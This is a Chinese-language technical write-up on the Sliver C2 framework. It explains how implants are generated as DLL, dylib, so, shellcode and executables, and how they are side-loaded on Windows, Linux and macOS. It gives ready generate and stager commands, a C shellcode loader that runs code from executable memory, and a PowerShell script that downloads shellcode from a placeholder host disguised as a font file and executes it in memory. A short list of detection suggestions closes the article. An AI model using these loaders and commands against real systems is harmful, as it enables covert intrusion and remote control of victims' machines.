sliver(一)生成implant方式上线过程及源码分析
字数 1458 2025-08-22 12:22:54
Sliver C2 工具植入物生成与上线方式分析
前置知识
- 分析版本:Sliver 1.5.42
- 不同平台上线方式差异原因:
- 操作系统及文件格式差异(Windows PE、Linux ELF、macOS Mach-O)
- 安全机制不同
- 动态库加载机制和初始化方法不同
生成植入物基本命令
generate [flags]
常用参数说明
C2连接方式(必须至少指定一种):
--mtls: 相互TLS连接--wg: WireGuard连接--http: HTTP/HTTPS连接--dns: DNS连接--named-pipe: 命名管道连接--tcp-pivot: TCP枢纽连接
输出格式控制:
--os: 目标操作系统(windows/linux/mac)--arch: CPU架构(默认amd64)--format: 输出格式(exe/shared/service/shellcode)
其他重要参数:
--canary: 设置DNS探针域名--debug: 启用调试功能--disable-sgn: 禁用Shikata Ga Nai编码--run-at-load: 从DllMain/Constructor运行植入物入口点(仅共享库)
第三方库文件生成与侧加载
生成命令示例
# Windows DLL
generate --mtls x.x.x.x:443 --os windows --arch amd64 --format dll --save ./malicious.dll
# macOS dylib
generate --mtls x.x.x.x:443 --os mac --arch arm64 --format dylib --save ./malicious.dylib
# Linux so
generate --mtls x.x.x.x:443 --os linux --arch amd64 --format so --save ./malicious.so
侧加载实现原理
macOS实现:
- 将库文件数据写入
/tmp目录下的随机文件 - 设置
DYLD_INSERT_LIBRARIES环境变量指向该文件 - 启动目标进程
Linux实现:
- 使用
memfd_create创建匿名内存文件描述符 - 将库文件数据写入描述符
- 设置
LD_PRELOAD环境变量指向描述符路径 - 启动目标进程(无文件侧加载)
Windows实现:
- 启动远程进程
- 使用
DuplicateHandle复制进程句柄 - 在新进程中分配内存并写入DLL数据
- 计算偏移并执行DLL代码
第三方库初始化机制
Windows:
- 通过
DllMain函数处理加载和初始化 - 在
DLL_PROCESS_ATTACH中创建线程执行主逻辑
Linux:
- 使用
.init_array段指定初始化函数 - 初始化函数中清除
LD_PRELOAD环境变量
macOS:
- 使用
__attribute__((constructor))指定初始化函数 - 初始化函数中清除
DYLD_INSERT_LIBRARIES环境变量
Shellcode生成与加载
生成与使用流程
- 创建profile配置:
profiles new --mtls x.x.x.x --skip-symbols --format shellcode --arch amd64 test1
- 生成stager0:
generate stager --lhost x.x.x.x --lport 9999 --arch amd64 --format c
- 启动stager1监听:
stage-listener --url tcp://x.x.x.x:9999 --profile test1
Shellcode加载示例(C语言)
#include "windows.h"
int main() {
unsigned char shellcode[] = "\xfc\x48\x83...";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
PowerShell远程加载示例
$url = "http://x.x.x.x:9999/fontawesome.woff"
$client = New-Object System.Net.WebClient
$shellcode = $client.DownloadData($url)
[Byte[]] $payload = $shellcode
$payload_len = $payload.Length
[IntPtr] $exec_mem = [shell]::VirtualAlloc(0, $payload_len, 0x3000, 0x40);
[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $exec_mem, $payload_len)
$tHandle = [shell]::CreateThread(0, 0, $exec_mem, 0, 0, 0)
[shell]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
可执行文件生成
generate beacon --mtls x.x.x.x:8080 --os macos --max-errors 99999 --save ./macos_shell_http
技术细节分析
Linux .so文件问题
Sliver生成的Linux .so文件实际上是可执行文件而非共享对象,原因在于编译时使用了:
-linkmode external -extldflags "-static"
这会将所有依赖静态链接到二进制中,导致生成的是可执行文件而非共享库。
Shellcode生成限制
Sliver目前仅支持生成Windows平台的shellcode,通过以下流程实现:
- 使用PIE模式编译为可执行文件
- 通过go-donut库将PE转换为shellcode
防御建议
- 监控异常进程行为(特别是内存操作)
- 检查异常的环境变量设置(LD_PRELOAD/DYLD_INSERT_LIBRARIES)
- 监控/tmp目录下的临时文件创建
- 检测memfd_create等特殊系统调用
- 对PowerShell等脚本行为进行严格审计